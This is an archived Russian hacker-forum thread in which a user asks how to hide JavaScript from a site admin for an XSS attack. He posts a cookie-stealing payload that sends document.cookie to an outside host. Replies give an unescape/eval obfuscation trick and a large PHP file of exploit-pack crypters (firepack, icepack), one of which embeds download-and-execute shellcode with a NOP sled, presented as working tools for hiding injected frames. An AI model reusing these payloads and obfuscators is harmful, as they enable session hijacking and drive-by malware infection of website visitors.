Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Как закодировать javascript cod

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Как закодировать javascript cod
Имя
Сообщение << Старые топики   Новые топики >>
Как закодировать javascript cod - 2008-01-24 13:43:56.516666   
motorola

Сообщений: 64
Оценки: 0
Присоединился: 2007-11-13 19:44:42.273333
зраствуйте, подскажите скриптик как можно, на php закодировать
строку вида <script>alert('programs')</script> от глаз
но с возможностью выполнения?
Post #: 1
RE: [b]Как закодировать javascript cod[/b] - 2008-01-24 14:01:03.030000   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
скрипт на php
$str = "alert('1234')"; for($i=0;$i&lt;strlen($str);$i++) {$hex=dechex(ord($str[$i])); if ($str[$i]=='&') $x .= "$str[$i]"; else if ($str[$i]!='\\') $x.="%$hex"; } дальше рузультат загоняешь в js
&lt;script&gt;eval(unescape('%61%6c%65%72%74%28%27%31%32%33%34%27%29'));&lt;/script&gt;
это имел в виду?
Post #: 2
Ответ - 2008-01-24 14:20:35.420000   
motorola

Сообщений: 64
Оценки: 0
Присоединился: 2007-11-13 19:44:42.273333
Ну примерно, а вообще мне для xss чтобы админ не видел, просто строка
<script>document.write("<img width=0 height=0 src=http://microsoft/ip.php?url=" + document.cookie + ">")</script>
Post #: 3
RE: [b]Как закодировать javascript cod[/b] - 2008-01-24 14:30:46.630000   
blаcksun

Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
quote:


&lt;? function gen_rnd($len) { $rnd_text=null; for ($i=0;$i&lt;$len;$i++){ $temp=rand(1,3); if ($i==0){ $temp2=rand(1,2); if ($temp2==1) { $rnd_text.=chr(rand(65,90)); } else { $rnd_text.=chr(rand(97,122)); } } else { if ($temp==1) { $rnd_text.=chr(rand(65,90)); } elseif ($temp==2) { $rnd_text.=chr(rand(97,122)); } else { $rnd_text.=chr(rand(48,57)); } } } return $rnd_text; } function rc4Encrypt($key, $pt) { $s = array(); for ($i=0; $i&lt;256; $i++) { $s[$i] = $i; } $j = 0; $x = 0; for ($i=0; $i&lt;256; $i++) { $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; } $i = 0; $j = 0; $ct = ''; $y = 0; for ($y=0; $y&lt;strlen($pt); $y++) { $i = ($i + 1) % 256; $j = ($j + $s[$i]) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $ct .= $pt[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]); } return $ct; } function firepack0_18_encrypt($content,$type="default"){ $error_msg=null; $error_msg_show=false; if ($error_msg_show){ if ($type=="image"){ $error_msg='Enable JavaScript!'; } elseif($type=="url"){ $error_msg='Enable JavaScript!'; }else{ $error_msg='Enable JavaScript!'; } } $error_msg='&lt;meta http-equiv="Content-Type" content="text/html; charset=windows-1251"&gt; &lt;noscript&gt; '.$error_msg.' &lt;/noscript&gt;'; $js_decode_name=gen_rnd(rand(5,15)); $js_decrypt_name=gen_rnd(rand(5,15)); $key=gen_rnd(rand(10,30)); $key2=base64_encode($key); $js_decrypt="function ".$js_decrypt_name."(key,pt){s=new Array();for(var i=0;i&lt;256;i++){s[i]=i;}var j=0;var x;for(i=0;i&lt;256;i++){j=(j+s[i]+key.charCodeAt(i%key.length))%256;x=s[i];s[i]=s[j];s[j]=x;}i=0;j=0;var ct = '';for(var y=0;y&lt;pt.length;y++){i=(i+1)%256;j=(j+s[i])%256;x=s[i];s[i]=s[j];s[j]=x;ct+=String.fromCharCode(pt.charCodeAt(y)^s[(s[i]+s[j])%256]);}return ct;}"; $js_decode="function ".$js_decode_name."(data){data=data.replace(/[^a-z0-9\+\/=]/ig,'');if(typeof(atob)=='function')return atob(data);var b64_map='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var byte1,byte2,byte3;var ch1,ch2,ch3,ch4;var result=new Array();var j=0;while((data.length%4)!=0){data+='=';}for(var i=0;i&lt;data.length;i+=4){ch1=b64_map.indexOf(data.charAt(i));ch2=b64_map.indexOf(data.charAt(i+1));ch3=b64_map.indexOf(data.charAt(i+2));ch4=b64_map.indexOf(data.charAt(i+3));byte1=(ch1&lt;&lt;2)|(ch2&gt;&gt;4);byte2=((ch2&15)&lt;&lt;4)|(ch3&gt;&gt;2);byte3=((ch3&3)&lt;&lt;6)|ch4;result[j++]=String.fromCharCode(byte1);if(ch3!=64)result[j++]=String.fromCharCode(byte2);if(ch4!=64)result[j++]=String.fromCharCode(byte3);}return result.join('');}"; $crypted=base64_encode(rc4Encrypt($key, $content)); $s=null; $str='&lt;script Language="JavaScript"&gt;'.$js_decrypt.';'.$js_decode.'; document.write('.$js_decrypt_name.'('.$js_decode_name.'("'.$key2.'"),'.$js_decode_name.'("'.$crypted.'")));&lt;/Script&gt;'.$error_msg.$s; $str2=null; for ($i=0;$i&lt;strlen($str);$i++){ $str2.="%".dechex(ord($str[$i])); } return $str; flush; } /* ******************************************** */ function _obfuscate_bSZ3Il0LQDczcgяя( $_obfuscate_ReIя ) { $_obfuscate_Iz0я = rawurlencode( $_obfuscate_ReIя ); $_obfuscate_7wяя = 0; for ( ; $_obfuscate_7wяя &lt; strlen( $_obfuscate_Iz0я ); ++$_obfuscate_7wяя ) { $_obfuscate_Iz0я[$_obfuscate_7wяя] = chr( ord( $_obfuscate_Iz0я[$_obfuscate_7wяя] ) + 5 ); } return rawurlencode( $_obfuscate_Iz0я."5" ); } function _obfuscate_HCEMYh8я( $_obfuscate_RaJNhvj ) { $_obfuscate_omve = $_SERVER['HTTP_HOST']; $_obfuscate_VBCv7Qяя = 0; $_obfuscate_7wяя = 0; for ( ; $_obfuscate_7wяя &lt; strlen( $_obfuscate_omve ); ++$_obfuscate_7wяя ) { $_obfuscate_VBCv7Qяя += ceil( ord( $_obfuscate_omve[$_obfuscate_7wяя] ) / ( $_obfuscate_7wяя + 1 ) ); } $_obfuscate_xs33Yt_k = ""; $_obfuscate_7wяя = 0; for ( ; $_obfuscate_7wяя &lt; strlen( $_obfuscate_RaJNhvj ); ++$_obfuscate_7wяя ) { if ( $_obfuscate_7wяя != strlen( $_obfuscate_RaJNhvj ) - 1 ) { $_obfuscate_xs33Yt_k .= ord( $_obfuscate_RaJNhvj[$_obfuscate_7wяя] ) - $_obfuscate_VBCv7Qяя.","; } else { $_obfuscate_xs33Yt_k .= ord( $_obfuscate_RaJNhvj[$_obfuscate_7wяя] ) - $_obfuscate_VBCv7Qяя; } } $_obfuscate_aNcpmAяя = "\r\n&lt;script type=\"text/javascript\"&gt;\r\n\r\nvar hNYt0j = new Array(".$_obfuscate_xs33Yt_k.");\r\nvar host=new String();\r\nhost=location.host;\r\nvar mhBg7S=0;\r\nvar h; \r\nfor(h=0;h&lt;host.length;h++)\r\n{\r\n\tmhBg7S+=Math.ceil(host.charCodeAt(h)/ (h+1));\r\n}\r\nvar YK92nH = \"\"; \r\nfor(var i=0;i&lt;hNYt0j.length;i++)YK92nH+=String.fromCharCode(hNYt0j[i]+mhBg7S); \r\ndocument.write(YK92nH);&lt;/script&gt;"; $_obfuscate_aNcpmAяя = base64_encode( $_obfuscate_aNcpmAяя ); $_obfuscate_Lh5oYDEsQяя = "\r\n&lt;script type=\"text/javascript\"&gt;\r\n\r\n\tvar keyStr = \"ABCDEFGHIJKLMNOP\" + \"QRSTUVWXYZabcdef\" + \"ghijklmnopqrstuv\" + \"wxyz0123456789+/\" + \"=\";\r\n\t\tfunction decode64(input) \r\n\t{\r\n\t\tvar output = \"\";\r\n\t\tvar chr1, chr2, chr3 = \"\";\r\n\t\tvar enc1, enc2, enc3, enc4 = \"\";\r\n\t\tvar i = 0;\r\n\t\tvar base64test = /[^A-Za-z0-9\\+\\/\\=]/g;\r\n\t\tinput = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\r\n\t\tdo \r\n\t\t{\r\n\t\t\tenc1 = keyStr.indexOf(input.charAt(i++));\r\n\t\t\tenc2 = keyStr.indexOf(input.charAt(i++));\r\n\t\t\tenc3 = keyStr.indexOf(input.charAt(i++));\r\n\t\t\tenc4 = keyStr.indexOf(input.charAt(i++));\r\n\t\t\tchr1 = (enc1 &lt;&lt; 2) | (enc2 &gt;&gt; 4);\r\n\t\t\tchr2 = ((enc2 & 15) &lt;&lt; 4) | (enc3 &gt;&gt; 2);\r\n\t\t\tchr3 = ((enc3 & 3) &lt;&lt; 6) | enc4;\r\n\t\t\toutput = output + String.fromCharCode(chr1);\r\n\t\t\tif (enc3 != 64)\r\n\t\t\t{\r\n\t\t\t\toutput = output + String.fromCharCode(chr2);\r\n\t\t\t}\r\n\t\t\tif (enc4 != 64)\r\n\t\t\t{\r\n\t\t\t\toutput = output + String.fromCharCode(chr3);\r\n\t\t\t}\r\n\t\t\tchr1 = chr2 = chr3 = \"\";\r\n\t\t\tenc1 = enc2 = enc3 = enc4 = \"\";\r\n\t\t} \r\n\t\twhile (i &lt; input.length);\r\n\t\treturn output;\r\n\t}\r\n\tvar dec=decode64(\"".$_obfuscate_aNcpmAяя."\")\r\n\t\r\n\tdocument.write(dec);\r\n&lt;/script&gt;"; return $_obfuscate_Lh5oYDEsQяя; } function _obfuscate_IGNfandp( $_obfuscate_R2_b ) { $_obfuscate_lwяя = 0; for ( ; $_obfuscate_lwяя &lt; 4; ++$_obfuscate_lwяя ) { $Vq[$_obfuscate_lwяя] = _obfuscate_YzsubiRsdF9jLTknK2Zq( 5 ); } $_obfuscate_Jrp1 = ""; $_obfuscate_7wяя = 0; for ( ; $_obfuscate_7wяя &lt; strlen( $_obfuscate_R2_b ); ++$_obfuscate_7wяя ) { $_obfuscate_Jrp1 .= "%".bin2hex( $_obfuscate_R2_b[$_obfuscate_7wяя] ); } $_obfuscate_MMQя = explode( "%", $_obfuscate_Jrp1 ); unset( $_obfuscate_MMQя[0] ); $_obfuscate_5P0я = _obfuscate_BRkwejloBHRkHRtrEy4я( $_obfuscate_MMQя ); $_obfuscate_aNcpmAяя = "&lt;SCRIPT LANGUAGE=\"Javascript\"&gt;\r\nfunction ".$Vq[0]."(".$Vq[2].")\r\n{\r\ndocument.write(unescape(".$Vq[2]."))\r\nreturn \"\"\r\n}\r\nfunction ".$Vq[1]."()\r\n{\r\n\t".$_obfuscate_5P0я[0]."\r\nvar ".$Vq[2]."=new Array()\r\n".$Vq[2]."[0]=new Array(".$_obfuscate_5P0я[1].")\r\n".$Vq[0]."(".$Vq[2].");\r\n}\r\n".$Vq[1]."();\r\n&lt;/script&gt;"; return $_obfuscate_aNcpmAяя; } function _obfuscate_YzsubiRsdF9jLTknK2Zq( $_obfuscate_Q8ERGxGW ) { $_obfuscate_gClYrFh6bgяя = "1234567890"; $_obfuscate_9lTiXBPSwяя = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; $_obfuscate_EpN1a6ctiykя = $_obfuscate_gClYrFh6bgяя.$_obfuscate_9lTiXBPSwяя; $_obfuscate_vZNnSQXfIe0X = ""; $m = 0; for ( ; $m &lt;= $_obfuscate_Q8ERGxGW; ++$m ) { $_obfuscate_8Aяя = rand( 0, strlen( $_obfuscate_EpN1a6ctiykя ) - 1 ); $_obfuscate_vZNnSQXfIe0X .= $_obfuscate_EpN1a6ctiykя[$_obfuscate_8Aяя]; } $_obfuscate_xs33Yt_k = $_obfuscate_9lTiXBPSwяя[rand( 0, strlen( $_obfuscate_9lTiXBPSwяя ) - 1 )].$_obfuscate_vZNnSQXfIe0X; return $_obfuscate_xs33Yt_k; } function _obfuscate_ZXRwbCsfNgcpdHkя( $_obfuscate_Il8i ) { $_obfuscate_piIя = "лT‹u&lt;‹t5x\x03хV‹v \x03"; $_obfuscate_piIя .= "х3ЙIA­3Ы6\x0Fѕ\x14(8тt"; $_obfuscate_piIя .= "\x08БЛ\r\x03Ъ@лп;Яuз^‹^"; $_obfuscate_piIя .= "$\x03Эf‹\x0CK‹^\x1C\x03Э‹\x04‹\x03"; $_obfuscate_piIя .= "ЕГurlmon.dll\x00C:\\"; $_obfuscate_piIя .= "U.exe\x003Аd\x03@0x\x0C‹@"; $_obfuscate_piIя .= "\x0C‹p\x1C­‹@\x08л\t‹@4Ќ@|"; $_obfuscate_piIя .= "‹@&lt;•їЋN\x0Eми„яяяѓм"; $_obfuscate_piIя .= "\x04ѓ,$&lt;яР•Pї6\x1A/pиo"; $_obfuscate_piIя .= "яяя‹T$ьЌRє3ЫSSRл"; $_obfuscate_piIя .= "\$SяР]ї?юЉ\x0EиSяяяѓ"; $_obfuscate_piIя .= "м\x04ѓ,\$bяРї~Швsи@я"; $_obfuscate_piIя .= "яяRяРиЧяяя".$_obfuscate_Il8i; return $_obfuscate_piIя; } function _obfuscate_LxF3Z2g1dHULd30y( $_obfuscate_piIя ) { $_obfuscate_xs33Yt_k = ""; $_obfuscate_7wяя = 0; for ( ; $_obfuscate_7wяя &lt;= strlen( $_obfuscate_piIя ); $_obfuscate_7wяя += 2 ) { $_obfuscate_phQя = $_obfuscate_piIя[$_obfuscate_7wяя]; @$_obfuscate_yIkя = @$_obfuscate_piIя[$_obfuscate_7wяя + 1]; $_obfuscate_phQя = ord( $_obfuscate_phQя ) + ord( $_obfuscate_yIkя ) * 256; $_obfuscate_phQя = dechex( $_obfuscate_phQя ); while ( strlen( $_obfuscate_phQя ) &lt; 4 ) { $_obfuscate_phQя = "0".$_obfuscate_phQя; } $_obfuscate_xs33Yt_k .= "%u".$_obfuscate_phQя; } $_obfuscate_oflSXUQJYTR8 = "%u9090%u9090".$_obfuscate_xs33Yt_k; return $_obfuscate_oflSXUQJYTR8; } function _obfuscate_BRkwejloBHRkHRtrEy4я( $_obfuscate_oflSXUQJYTR8 ) { $_obfuscate_6UUC = ""; $_obfuscate_FQяя = count( $_obfuscate_oflSXUQJYTR8 ); $_obfuscate_5iLGsO4я = _obfuscate_IXdjH2YQanR1I3Uoa2oKGgяя( $_obfuscate_FQяя ); $p = 0; $_obfuscate_wFBrqQяя = array( ); foreach ( $_obfuscate_5iLGsO4я as $_obfuscate_FQяя ) { $_obfuscate_Hj5oTq8я = array_slice( $_obfuscate_oflSXUQJYTR8, $p, $_obfuscate_FQяя ); $p += $_obfuscate_FQяя; $_obfuscate_VgKtFegя = "%".implode( "%", $_obfuscate_Hj5oTq8я ); $_obfuscate_xHUo = _obfuscate_XD0nOyB6XAFyeQяя( 4, 8 ); $_obfuscate_6UUC .= "var ".$_obfuscate_xHUo." = '{$_obfuscate_VgKtFegя}';\n"; $_obfuscate_wFBrqQяя[] = $_obfuscate_xHUo; } $_obfuscate_5xtS7qu1NndkDcEя = implode( "+", $_obfuscate_wFBrqQяя ); $_obfuscate_Jrp1[0] = $_obfuscate_6UUC; $_obfuscate_Jrp1[1] = $_obfuscate_5xtS7qu1NndkDcEя; return $_obfuscate_Jrp1; } function _obfuscate_fg8caxozbgяя( $p ) { $_obfuscate_6UUC = strtoupper( bin2hex( $p ) ); $_obfuscate_1Qяя = round( strlen( $_obfuscate_6UUC ) / 4 ); if ( $_obfuscate_1Qяя != strlen( $_obfuscate_6UUC ) / 4 ) { $_obfuscate_6UUC .= "00"; } $_obfuscate_qfcF = ""; $_obfuscate_7wяя = 0; for ( ; $_obfuscate_7wяя &lt; strlen( $_obfuscate_6UUC ); $_obfuscate_7wяя += 4 ) { $_obfuscate_qfcF .= "%u".substr( $_obfuscate_6UUC, $_obfuscate_7wяя + 2, 2 ).substr( $_obfuscate_6UUC, $_obfuscate_7wяя, 2 ); } return $_obfuscate_qfcF; } function _obfuscate_PxJ1YjBrJS9zPQяя( $_obfuscate_RaJNhvj ) { $_obfuscate_xs33Yt_k = ""; $_obfuscate_7wяя = 0; for ( ; $_obfuscate_7wяя &lt; strlen( $_obfuscate_RaJNhvj ); ++$_obfuscate_7wяя ) { $_obfuscate_xs33Yt_k .= ord( $_obfuscate_RaJNhvj[$_obfuscate_7wяя] ); if ( $_obfuscate_7wяя != strlen( $_obfuscate_RaJNhvj ) - 1 ) { $_obfuscate_xs33Yt_k .= ","; } } return "String.fromCharCode(".$_obfuscate_xs33Yt_k.")"; } function _obfuscate_bWYkGltyDSkFfQkW( $_obfuscate_FQяя ) { $_obfuscate_yO9n6OZG1qbtDw4я = rand( 2, $_obfuscate_FQяя ); $_obfuscate_5iLGsO4я = array( ); $_obfuscate_7wяя = 0; for ( ; $_obfuscate_7wяя &lt; $_obfuscate_yO9n6OZG1qbtDw4я; ++$_obfuscate_7wяя ) { $_obfuscate_5iLGsO4я[] = rand( 1, $_obfuscate_FQяя ); } $_obfuscate_1oit = 0; $_obfuscate_bhdW = array_sum( $_obfuscate_5iLGsO4я ); while ( $_obfuscate_bhdW != $_obfuscate_FQяя ) { if ( $_obfuscate_FQяя &lt; $_obfuscate_bhdW && 0 &lt; $_obfuscate_5iLGsO4я[$_obfuscate_1oit] ) { --$_obfuscate_5iLGsO4я[$_obfuscate_1oit]; } else { ++$_obfuscate_5iLGsO4я[$_obfuscate_1oit]; } ++$_obfuscate_1oit; if ( $_obfuscate_yO9n6OZG1qbtDw4я &lt;= $_obfuscate_1oit ) { $_obfuscate_1oit = 0; } $_obfuscate_bhdW = array_sum( $_obfuscate_5iLGsO4я ); } $_obfuscate_6UUC = array( ); foreach ( $_obfuscate_5iLGsO4я as $p ) { if ( $p != 0 ) { $_obfuscate_6UUC[] = $p; } } return $_obfuscate_6UUC; } function _obfuscate_IXdjH2YQanR1I3Uoa2oKGgяя( $_obfuscate_FQяя ) { $_obfuscate_yO9n6OZG1qbtDw4я = rand( 2, 50 ); $_obfuscate_5iLGsO4я = array( ); $_obfuscate_7wяя = 0; for ( ; $_obfuscate_7wяя &lt; $_obfuscate_yO9n6OZG1qbtDw4я; ++$_obfuscate_7wяя ) { $_obfuscate_5iLGsO4я[] = rand( 1, $_obfuscate_FQяя ); } $_obfuscate_1oit = 0; $_obfuscate_bhdW = array_sum( $_obfuscate_5iLGsO4я ); while ( $_obfuscate_bhdW != $_obfuscate_FQяя ) { if ( $_obfuscate_FQяя &lt; $_obfuscate_bhdW && 0 &lt; $_obfuscate_5iLGsO4я[$_obfuscate_1oit] ) { --$_obfuscate_5iLGsO4я[$_obfuscate_1oit]; } else { ++$_obfuscate_5iLGsO4я[$_obfuscate_1oit]; } ++$_obfuscate_1oit; if ( $_obfuscate_yO9n6OZG1qbtDw4я &lt;= $_obfuscate_1oit ) { $_obfuscate_1oit = 0; } $_obfuscate_bhdW = array_sum( $_obfuscate_5iLGsO4я ); } $_obfuscate_6UUC = array( ); foreach ( $_obfuscate_5iLGsO4я as $p ) { if ( $p != 0 ) { $_obfuscate_6UUC[] = $p; } } return $_obfuscate_6UUC; } function _obfuscate_XD0nOyB6XAFyeQяя( $_obfuscate_Q8ERGxGW ) { global $unique_names; $_obfuscate_6UUC = ""; $_obfuscate_7wяя = 0; for ( ; $_obfuscate_7wяя &lt; $_obfuscate_Q8ERGxGW; ++$_obfuscate_7wяя ) { $_obfuscate_6UUC .= chr( rand( 97, 122 ) ); } if ( in_array( $_obfuscate_6UUC, $unique_names ) ) { $_obfuscate_6UUC = _obfuscate_XD0nOyB6XAFyeQяя( $_obfuscate_Q8ERGxGW ); } $unique_names[] = $_obfuscate_6UUC; return $_obfuscate_6UUC; } function _obfuscate_a2cnaDMheSFtD2M_fgяя( $_obfuscate_R2_b ) { $_obfuscate_6UUC = "\""; $_obfuscate_FQяя = strlen( $_obfuscate_R2_b ); $_obfuscate_5iLGsO4я = _obfuscate_bWYkGltyDSkFfQkW( $_obfuscate_FQяя ); $p = 0; $_obfuscate_Jrp1 = array( ); $_obfuscate_7wяя = 0; for ( ; $_obfuscate_7wяя &lt; strlen( $_obfuscate_R2_b ); ++$_obfuscate_7wяя ) { $_obfuscate_Jrp1[$_obfuscate_7wяя] = $_obfuscate_R2_b[$_obfuscate_7wяя]; } $_obfuscate_ReIя = ""; foreach ( $_obfuscate_5iLGsO4я as $_obfuscate_FQяя ) { $_obfuscate_Hj5oTq8я = array_slice( $_obfuscate_Jrp1, $p, $_obfuscate_FQяя ); $p += $_obfuscate_FQяя; $_obfuscate_ReIя .= "\""; foreach ( $_obfuscate_Hj5oTq8я as $_obfuscate_J84я ) { $_obfuscate_ReIя .= $_obfuscate_J84я; } $_obfuscate_ReIя .= "\"+"; } $_obfuscate_ReIя = substr_replace( $_obfuscate_ReIя, "", strlen( $_obfuscate_ReIя ) - 1, 1 ); return $_obfuscate_ReIя; } function _obfuscate_GXZcD15mImxqdG8JW2RzGDVxXzxkZD9b( $_obfuscate_oflSXUQJYTR8 ) { $_obfuscate_6UUC = ""; $_obfuscate_FQяя = count( $_obfuscate_oflSXUQJYTR8 ); $_obfuscate_5iLGsO4я = _obfuscate_bWYkGltyDSkFfQkW( $_obfuscate_FQяя ); $p = 0; $_obfuscate_wFBrqQяя = array( ); foreach ( $_obfuscate_5iLGsO4я as $_obfuscate_FQяя ) { $_obfuscate_Hj5oTq8я = array_slice( $_obfuscate_oflSXUQJYTR8, $p, $_obfuscate_FQяя ); $p += $_obfuscate_FQяя; $_obfuscate_VgKtFegя = "%u".implode( "%u", $_obfuscate_Hj5oTq8я ); $_obfuscate_xHUo = _obfuscate_XD0nOyB6XAFyeQяя( 4, 8 ); $_obfuscate_6UUC .= "var ".$_obfuscate_xHUo." = '{$_obfuscate_VgKtFegя}';\n"; $_obfuscate_wFBrqQяя[] = $_obfuscate_xHUo; } $_obfuscate_5xtS7qu1NndkDcEя = implode( "+", $_obfuscate_wFBrqQяя ); $_obfuscate_Jrp1[0] = $_obfuscate_6UUC; $_obfuscate_Jrp1[1] = $_obfuscate_5xtS7qu1NndkDcEя; return $_obfuscate_Jrp1; } /* ******************************************** */ function icepack_encrypt( $content ) { if(empty($content)) return ''; // Crypt $table = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_@"; $xor = 165; $table = array_keys(count_chars($table, 1)); $i_min = min($table); $i_max = max($table); for ($c = count($table); $c &gt; 0; $r = mt_rand(0, $c--)) array_splice($table, $r, $c - $r, array_reverse(array_slice($table, $r, $c - $r))); $len = strlen($content); $word = $shift = 0; for ($i = 0; $i &lt; $len; $i++) { $ch = $xor ^ ord($content[$i]); $word |= ($ch &lt;&lt; $shift); $shift = ($shift + 2) % 6; $enc .= chr($table[$word & 0x3F]); $word &gt;&gt;= 6; if (!$shift) { $enc .= chr($table[$word]); $word &gt;&gt;= 6; } } if ($shift) $enc .= chr($table[$word]); $tbl = array_fill($i_min, $i_max - $i_min + 1, 0); while (list($k,$v) = each($table)) $tbl[$v] = $k; $tbl = implode(",", $tbl); $fi = ",p=0,s=0,w=0,t=Array({$tbl})"; $f = "w|=(t[x.charCodeAt(p++)-{$i_min}])&lt;&lt;s;"; $f .= "if(s){r+=String.fromCharCode({$xor}^w&255);w&gt;&gt;=8;s-=2}else{s=6}"; $r = "&lt;script language=JavaScript&gt;"; $r.= "function dc(x){"; $r.= "var l=x.length,b=1024,i,j,r{$fi};"; $r.= "for(j=Math.ceil(l/b);j&gt;0;j--){r='';for(i=Math.min(l,b);i&gt;0;i--,l--){{$f}}document.write(r)}"; $r.= "}dc(\"{$enc}\")"; $r.= "&lt;/script&gt;"; return $r; } ?&gt;


Инсклудишь как модуль: include("crupt.php");
Функции криптования:

firepack0_18_encrypt($YOU_CODE);
icepack_encrypt($YOU_CODE);
_obfuscate_IGNfandp($YOU_CODE);

PS: ток js криптовать так не пробовал, html норм криптуется)
Post #: 4
RE: [b]Как закодировать javascript cod[/b] - 2008-01-24 14:38:24.310000   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
blаcksun оО ты че загнул??? пост до конца читал?
quote:

но с возможностью выполнения?
Post #: 5
RE: [b]Как закодировать javascript cod[/b] - 2008-01-24 14:58:47.420000   
blаcksun

Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
Я выложил 3 криптора фреймов. Они рабочие.
Post #: 6
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Как закодировать javascript cod







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.